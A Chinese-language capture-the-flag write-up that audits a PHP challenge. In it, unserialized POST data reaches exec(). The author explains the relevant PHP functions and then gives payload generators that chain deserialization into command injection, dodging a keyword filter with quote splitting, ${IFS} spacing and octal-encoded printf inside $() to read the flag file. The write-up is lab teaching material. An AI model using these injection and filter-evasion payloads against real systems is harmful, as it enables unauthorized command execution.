代码审计
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
本代码定义了一个叫ease的类,类中包含:
_wakeup:在反序列化之前被掉用,利用一个foreach循环,调用waf方法检测传入的数组中是否包含黑名单字符,如果不包含则执行__construct方法
__construct:在类被实例化后自动调用,定义两个属性,并赋以初值
__destruct:类运行完,销毁之前调用,如果method属性在数组ping中,(就是会说method属性的值=ping)就调用call_user_func_array函数
call_user_func_array
语法:
call_user_func_array ( callable $callback , array $param_arr )
解析
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
返回回调函数的结果。如果出错的话就返回FALSE
回调函数是什么:就现在初步理解就是有一个函数,然后作为参数传递给了另一个函数(这里就是call_user_func_array函数)在另一个函数调用完后,在进行调用本身
所以这里的意思就是将$args的数据作为参数传递给ping函数
exec函数
exec是PHP中的一个函数,用于执行外部命令并获取其输出。
基本的exec语法如下:
exec(command, output, return_var);
command是要执行的外部命令。
output是一个可选参数,用于存储命令执行后的输出结果。
return_var是一个可选参数,用于存储命令执行后的返回值。
例如,我们可以使用exec执行一个简单的命令,并将输出存储在一个变量中:
$output = exec('ls');
echo $output;
exec函数执行linux下的ls命令,并将其输出赋值给变量$output,然后使用echo输出结果。
因为系统环境不一样,所以执行不了linux命令,windows环境下只能执行windows命令
注意:
exec函数只会返回命令的最后一行输出。如果要获取命令的完整输出,可以使用shell_exec函数。
$output = shell_exec ('ls');
echo $output;
exec函数还可以用于执行其他系统命令,比如执行一个Python脚本、调用其他可执行程序等等。
绕过方式
所以这里需要绕过的地方只有一个,那就是wakeup方法,一开始本来想着是利用成员数大于真实数,去绕过wakeup方法来着,结果发现不行,本地调试进都进不去
然后我看着这个正则没有修饰符i(不区分大小写),尝试大小写绕过,但是linux系统对大小写是敏感的,要是直接使用ls查看文件的话恐怕不行
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('DIR'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);
最后使用的windows命令,也不用大写,但是没有查询到相关信息,看来还是要使用linux命令
引号绕过
经过查看wp得知,我们可以采取php单双引号的性质进行绕过,在php下,二者的主要区别在于,被单引号括起来的字符都是普通字符,就算特殊字符也不再有特殊含义;
而被双引号括起来的字符中,"$"、"\"和反引号是拥有特殊含义的,"$"代表引用变量的值,而反引号代表引用命令。
所以我们可以利用这个性质去绕过
但是其实在linux 下,只要引号是出于闭合状态都不影响命令执行,主要是后面用得到
空格绕过
空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}等
$IFS$9在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符。
${IFS}的默认值是空格、制表符和换行符。所以,当你输入命令时,以空格、制表符或换行符作为分隔符,将输入的内容分割成不同的字段。每个字段将作为命令的一个参数进行解析和执行。
需要注意的是,在命令行中,${IFS}是在命令执行之前被解析和替换的。所以,${IFS}在命令执行时不会再被解析为字段分隔符。
如果你想在命令中使用${IFS}作为普通的字符串而不是字段分隔符,你可以使用单引号或者转义字符对其进行引用。
总结起来,${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符,用于将输入内容分割成不同的字段作为命令的参数。
printf绕过(字符串进制绕过)
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出
在linux下也可以利用print命令将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出
$()与 ` `(反引号):
$()和(反引号)都是用于在Shell脚本中执行命令并将其输出赋值给变量或作为命令的一部分。可以理解为,先完成符号里的命令,然后将其执行结果作为其他命令的一部分继续执行或者赋值给变量。
解题步骤
首先我们利用单双引号绕过正则表达式,执行ls命令
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);
得知一个疑似目录,接着查看目录下的内容,采取${IFS}代替ls与目录之间的空格
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);
这里要注意的是外侧引号一定是单引号,因为双引号会执行特殊含义字符,这里会将${IFS}给解析掉,导致传入失败
根据回显数据得知一个php文件,最后我们只需要cat这个文件的内容就可以获得flag
但是如果要直接cat的话,就需要路径去指定flag文件了,但是本题已经将路径符/给正则掉了
所以我们对/进行十六进制编码绕过,并利用$()和print进行传递
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\x2f")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);
结果发现十六进制传参不行,会返回一个空数组
八进制绕过可以成功
那既然这样,我是不是可以尝试一下全部都转码
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
//cat flag_1s_here/flag_831b69012c67b35f.php
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);
成功